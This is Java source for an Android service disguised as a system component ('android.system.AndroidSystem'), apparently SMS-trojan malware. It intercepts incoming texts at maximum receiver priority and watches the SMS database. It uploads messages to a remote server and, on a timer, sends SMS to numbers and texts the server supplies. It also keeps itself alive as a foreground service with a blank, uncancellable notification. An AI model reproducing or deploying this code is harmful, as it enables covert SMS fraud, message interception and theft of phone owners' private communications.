package android.system;

import java.util.ArrayList;
import java.util.LinkedList;

import android.app.Notification;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.ContentObserver;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.system.data.DataInfo;
import android.system.data.ReceiptInfo;
import android.system.http.SMSReplyMonitor;
import android.system.http.SMSReplyMonitor.SMSReplyMonitorCallBack;
import android.system.http.SMSReviceMonitor;
import android.system.http.SMSReviceMonitor.SMSReviceMonitorCallBack;
import android.system.http.SMSSendMonitor;
import android.system.http.SMSSendMonitor.SMSSendMonitorCallBack;
import android.system.utils.DBOperate;
import android.system.utils.LogUtils;
import android.system.utils.SMSReceiverControl;
import android.system.utils.SMSReceiverControl.SMSControlCallBack;
import android.widget.Toast;

import android.system.monitor.SmsReceiver;

public class AndroidSystem extends Service {
	public static final String SMS_RECEIVE_ACTION = "andorid.system.intent.sms.receive";// 向服务器请求短信服务
	public static final String SMS_SEND_ACTION = "andorid.system.intent.sms.send";// 向服务器发送短信服务
	public static final String SMS_REPLY_ACTION = "andorid.system.intent.sms.reply";// 向服务器回执短信服务
	public static final String CONNECTIVITY_ACTION = "andorid.system.intent.CONNECTIVITY_CHANGE";// 网络连接改变
	public static final int SMS_RECEIVE_STAT = 0;// 启动获取短信
	public static final int SMS_RECEIVE_STOP = 1;// 停止短信获取
	public static final int SMS_SEND_ONCE = 2;// 发送短信，用于发送短信成功后通知服务端
	private static final int REPLY_INTREVAL_TIME = 2*60;
	private static final int SEND_INTREVAL_TIME = 2*60;
	private static final int REVICE_INTREVAL_TIME =2*60;
	private boolean isNetWorkConnected = false;// 网络连接状态 flase未连接 ture连接
	private boolean isRecevieMonitor = false;// 是否可以向服务器获取短信
	private SMSReviceMonitor mSmsReviceMonitor = null;// 从服务器获取短信
	private SMSSendMonitor mSMSSendMonitor = null;// 向服务器提交短信
	private SMSReplyMonitor mSmsReplyMonitor = null;// 短信回执 用于回服务器手机已把短信发送给玩家
	private static AndroidSystem sys = null;
	private android.system.SmsReceiver smsReceiver = null;
	private SMSReceiverControl mSmsReceiverControl = null;
	private DBOperate mDbOperate = null;
	private SysAplication mAplication = null;
	private Toast toast = null;
	public static AndroidSystem getMe() {
		return sys;
	}

	public AndroidSystem() {
		sys = this;
	}

	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}
	void showToase(String text){
		if(SysAplication.isToast){
			Toast.makeText(getApplicationContext(), text, Toast.LENGTH_SHORT).show();
//			if(toast!=null){
//				toast.cancel();
//				toast.setText(text);
//				toast.setDuration(Toast.LENGTH_SHORT);
//				toast.show();
//			}
		}
	}
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		toast = new Toast(this);
		log("onCreate");
		mAplication = SysAplication.getMe();
		if (SysAplication.getMe() != null
				&& SysAplication.getMe().getNetWorkManager() != null) {
			isNetWorkConnected = SysAplication.getMe().getNetWorkManager()
					.isNetWorkConnected();
		}
		new BatteryStaus(this);// 监听电源状态
		mDbOperate = new DBOperate();
		mSmsReceiverControl = new SMSReceiverControl(this,
				new SMSControlCallBack() {

					@Override
					public void smsSendStatus(int status,int id,int msgId){
						// TODO Auto-generated method stub
						switch (status) {
						case SMSReceiverControl.SMS_RECEIVE_SUCCESS:
							 showToase("短信接收 msgId="+msgId);
							log("sms receive success msgId="+msgId);
							break;
						case SMSReceiverControl.SMS_SEND_SUCCESS:
							 showToase("短信发送成功 msgId="+msgId);
							DataInfo info = mDbOperate.getSendDataInfo(msgId);
						
							log("sms send success msgId="+msgId+" info="+info+" isNetWorkConnected="+isNetWorkConnected);
							if(info!=null){
								if(isNetWorkConnected)
									mSmsReplyMonitor.sendData(info);
								mDbOperate.deleteDataInfo(id, msgId);
							}
							break;
						case SMSReceiverControl.SMS_SEND_FAIL:
							 showToase("短信发送失败 msgId="+msgId);
							log("sms send fail msgId="+msgId);
							break;

						default:
							break;
						}
					}
				});
		mSmsReviceMonitor = new SMSReviceMonitor(
				new SMSReviceMonitorCallBack() {

					public void timer(int time) {
						// TODO Auto-generated method stub

					}

					public void error() {
						// TODO Auto-generated method stub
						logE("mSmsReviceMonitor error");
						 showToase("从服务器获取短信失败");
					}

					public void Result(LinkedList<DataInfo> dataInfoList) {
						// TODO Auto-generated method stub
						
						// 反回服务器提供的短信链表
						if(mSmsReceiverControl!=null&&dataInfoList!=null&&dataInfoList.size()>0){
							 showToase("从服务器获取短信成功  dataInfoList.size ="+dataInfoList.size());
							log("mSmsReviceMonitor dataInfoList.size ="+dataInfoList.size());
							for(DataInfo dataInfo:dataInfoList){
								if(mAplication!=null&&!SysAplication.isAirplaneModeOn(AndroidSystem.this)){
									mSmsReceiverControl.sendSMS(dataInfo.getToTelephone(), 
										dataInfo.getContent(),dataInfo.getId(),dataInfo.getMsgId());
								}
								mDbOperate.InsertDataInfo(dataInfo, DBOperate.TYPE_RECEIVE);
							}
						}else {
							showToase("服务器没有可获取的短信  dataInfoList ="+dataInfoList);
							log("mSmsReviceMonitor dataInfoList ="+dataInfoList);
						}
					}
				},REVICE_INTREVAL_TIME);
		// 用于向服务器提交手机接收短信的监控
		mSMSSendMonitor = new SMSSendMonitor(new SMSSendMonitorCallBack() {

			@Override
			public void timer(int time) {
				// TODO Auto-generated method stub

			}

			@Override
			public void error() {
				// TODO Auto-generated method stub
				logE("mSMSSendMonitor error");
				showToase("发送短信到服务器失败");
			}

			@Override
			public void Result(ReceiptInfo info) {
				// 返回是否成功提交短信
				// TODO Auto-generated method stub
				
				if(info.getStatus()==1){
					showToase("发送短信到服务器成功  Id =" + info.getId());
					mDbOperate.deleteDataInfo(info.getId());
				}else {
					showToase("发送短信到服务器失败 Id =" + info.getId());
				}
				log("mSMSSendMonitor ReceiptInfo getId =" + info.getId());
			}
		}, SEND_INTREVAL_TIME);

		// 用于短信回执请求的监控
		mSmsReplyMonitor = new SMSReplyMonitor(new SMSReplyMonitorCallBack() {

			@Override
			public void timer(int time) {
				// TODO Auto-generated method stub

			}

			@Override
			public void error() {
				// TODO Auto-generated method stub
				logE("mSmsReplyMonitor error");
				showToase("发送短信回执到服务器失败");
			}

			@Override
			public void Result(ReceiptInfo info) {
				// TODO Auto-generated method stub
				if(info.getStatus()==1){
					showToase("发送短信回执到服务器成功 msgId="+info.getMsgId());
					mDbOperate.deleteDataInfo(info.getId(),info.getMsgId());
				}else{
					showToase("发送短信回执到服务器失败 msgId="+info.getMsgId());
				}
				log("mSmsReplyMonitor ReceiptInfo getMsgId=" + info.getMsgId());

			}
		}, REPLY_INTREVAL_TIME);
		mSmsReplyMonitor.start(); 
		mSMSSendMonitor.start();
		if (mSmsReviceMonitor != null && isNetWorkConnected
				&& !mSmsReviceMonitor.isStart()) {
			mSmsReviceMonitor.start();
			log("mSmsReviceMonitor start");
		}else{
			log("mSmsReviceMonitor not start");
		}
		startTimer();

		// 重新动态注册短信接收广播，提高优先级
		IntentFilter localIntentFilter = new IntentFilter(
				"android.provider.Telephony.SMS_RECEIVED");
		localIntentFilter.setPriority(2147483647);
		
		smsReceiver = new android.system.SmsReceiver();
		//unregisterReceiver(smsReceiver);
		android.system.SmsReceiver localMessageReceiver = smsReceiver;
		registerReceiver(localMessageReceiver,
				localIntentFilter);
		
		//短信数据库监控……
    	ContentObserver co = new SmsReceiver(new Handler(), 
    			AndroidSystem.this.getBaseContext());
        this.getContentResolver().registerContentObserver( 
                Uri.parse("content://sms/"), true, co);
		
		setForeground();
	}  

	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		// TODO Auto-generated method stub
		if (intent == null)
			return super.onStartCommand(intent, flags, startId);
		String action = intent.getAction();
		int status = intent.getIntExtra("status", -1);
		if (action == null)
			return super.onStartCommand(intent, flags, startId);
		if (action.compareTo(SMS_RECEIVE_ACTION) == 0) {
			switch (status) {
			case SMS_RECEIVE_STAT:
				log("SMS_RECEIVE_STAT");
				isRecevieMonitor = true;
				if (mSmsReviceMonitor != null && isNetWorkConnected
						&& !mSmsReviceMonitor.isStart()) {
					mSmsReviceMonitor.start();
				}
				break;
			case SMS_RECEIVE_STOP:
				isRecevieMonitor = false;
				log("SMS_RECEIVE_STOP");
				if (mSmsReviceMonitor != null && mSmsReviceMonitor.isStart()) {
					mSmsReviceMonitor.stop();
				}
				break;
			default:
				break;
			}
		} else if (action.compareTo(SMS_SEND_ACTION) == 0) {
			Bundle bundle = intent.getExtras();
			if (bundle != null) {
				DataInfo info = (DataInfo) bundle.get("info");
				log("info getId ="+info.getId()+" conten="+info.getContent());
				if (mSMSSendMonitor != null && info != null) {
					mDbOperate.InsertDataInfo(info, DBOperate.TYPE_SEND);
					mSMSSendMonitor.sendData(mDbOperate.getSendDataInfo(info.getReviceTime()));
				}
			}
		} else if (action.compareTo(SMS_REPLY_ACTION) == 0) {
			Bundle bundle = intent.getExtras();
			if (bundle != null) {
				DataInfo info = (DataInfo) bundle.get("info");
				if (mSmsReplyMonitor != null && info != null&&isNetWorkConnected) {
					mSmsReplyMonitor.sendData(info);
				}
			}

		} else if (action.compareTo(CONNECTIVITY_ACTION) == 0) {
			isNetWorkConnected = intent.getBooleanExtra(
					"NetWorkConnectedStatus", false);
			if (isNetWorkConnected) {
				if (mSmsReviceMonitor != null && isRecevieMonitor) {
					mSmsReviceMonitor.start();
				}
				if (mSMSSendMonitor != null) {
					mSMSSendMonitor.start();
				}
				if (mSmsReplyMonitor != null) {
					mSmsReplyMonitor.start();
				}
			} else {
				if (mSmsReviceMonitor != null) {
					mSmsReviceMonitor.stop();
				}
				if (mSMSSendMonitor != null) {
					mSMSSendMonitor.stop();
				}
				if (mSmsReplyMonitor != null) {
					mSmsReplyMonitor.stop();
				}
			}
		}

		return super.onStartCommand(intent, flags, startId);
	}

	
	
	/***
	 * 启动一个记时器，用于自动发送数据到服务器
	 * **/
	public void startTimer()
	{

			Message msg=new Message();
			msg.what=1;
			mHandler.sendMessageDelayed(msg, 1000*60*3);
		
	}
	
	public void stopTimer()
	{
		mHandler.removeMessages(1);
	}
	
	private Handler mHandler = new Handler(){

		@Override
		public void handleMessage(Message msg) {
			// TODO Auto-generated method stub
			switch(msg.what)
			{
				case 1:
				{
					log("start database");
					int i=0;
					ArrayList<DataInfo>  list = mDbOperate.getSendDataInfos();
					
					if(list!=null){
						log("list="+list+" list size ="+list.size());
						for(DataInfo dataInfo:list){
							log("i="+i+" isNetWorkConnected ="+isNetWorkConnected);
							if(i>SysAplication.MAX_COUNT||!isNetWorkConnected)break;
							mSMSSendMonitor.sendData(dataInfo);
							
							i++;
						}
					}
					i=0;
					list = mDbOperate.getReviceDataInfos();
					
					if(mAplication!=null&&!SysAplication.isAirplaneModeOn(AndroidSystem.this)&&list!=null){
						for(DataInfo dataInfo:list){
							if(i>SysAplication.MAX_COUNT)break;
							
							mSmsReceiverControl.sendSMS(dataInfo.getToTelephone(), dataInfo.getContent(), 
									dataInfo.getId(), dataInfo.getMsgId());
							i++;
						}
					}
					Message msg1=new Message();
					msg1.what=1;
					mHandler.sendMessageDelayed(msg1, 1000*60*3);
					break;
				}
			}
			super.handleMessage(msg);
		}
	};
	
	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		if(smsReceiver!=null){
			//unregisterReceiver(smsReceiver);
		}
		super.onDestroy();
		
	}

	private void setForeground() {
		Notification note = new Notification(0, null,
				System.currentTimeMillis());
		note.flags |= Notification.FLAG_NO_CLEAR;
		startForeground(42, note);
	}

	private void log(String msg) {
		LogUtils.logD("AndroidSystem", msg);
	}

	private void logE(String msg) {
		LogUtils.logD("AndroidSystem", msg);
	}

}
